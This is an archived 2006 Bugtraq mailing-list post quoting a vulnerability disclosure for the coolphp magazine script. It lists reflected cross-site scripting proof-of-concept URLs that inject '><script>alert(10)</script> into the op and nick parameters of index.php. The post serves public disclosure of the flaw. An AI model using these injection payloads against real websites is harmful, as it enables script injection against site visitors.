| lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
|
Open Source and information security mailing list archives
| ||
|
Date: Sat, 27 May 2006 23:04:49 +0300 From: "black code" <black-cod3@...mail.com> To: bugtraq-owner@...urityfocus.com, bugtraq@...urityfocus.com, content@...uritydot.net, listadmin@...urityfocus.com, root@...uritydot.net, submit@...w0rm.com, webmaster@...urityfocus.com Subject: RE: Multiple Xss exploits in coolphp magazine >Subject: Multiple Xss exploits in coolphp magazine >Date: 27 May 2006 14:25:31 -0000 >Multiple Xss exploits in coolphp magazine > >script type : coolphp magazine >bug found by : black-code & sweet-devil >team : site-down >type : Xss > >Codes : > >******* > >http://www.xxx.com/coolphp/index.php?op='><script>alert(10)</script> > >http://www.xxx.com/coolphp/index.php?op=userinfo&nick='><script>alert(10)</script> > >******* > > >And : > >http://www.xxx.com/coolphp/index.php?op=0000='><script>alert(10)</script> > >Put instaed of 0000 any name as : > >http://xxx.net/coolphp/index.php?op=userinfo='><script>alert(10)</script> > >or > >http://xxx.net/coolphp/index.php?op=comp_der='><script>alert(10)</script> > >or > >http://xxx.net/coolphp/index.php?op=encuestas='><script>alert(10)</script> > >or > >http://xxx.net/coolphp/index.php?op=pagina='><script>alert(10)</script> > > > > >Emails : > >Black-cod3@...mil.com > >gamr-14@...mail.com > >All my respect to my friend sweet-devil , lezr.com , g123g.net .. > >done .. peace _________________________________________________________________ Express yourself instantly with MSN Messenger! Download today it's FREE! http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
Powered by blists - more mailing lists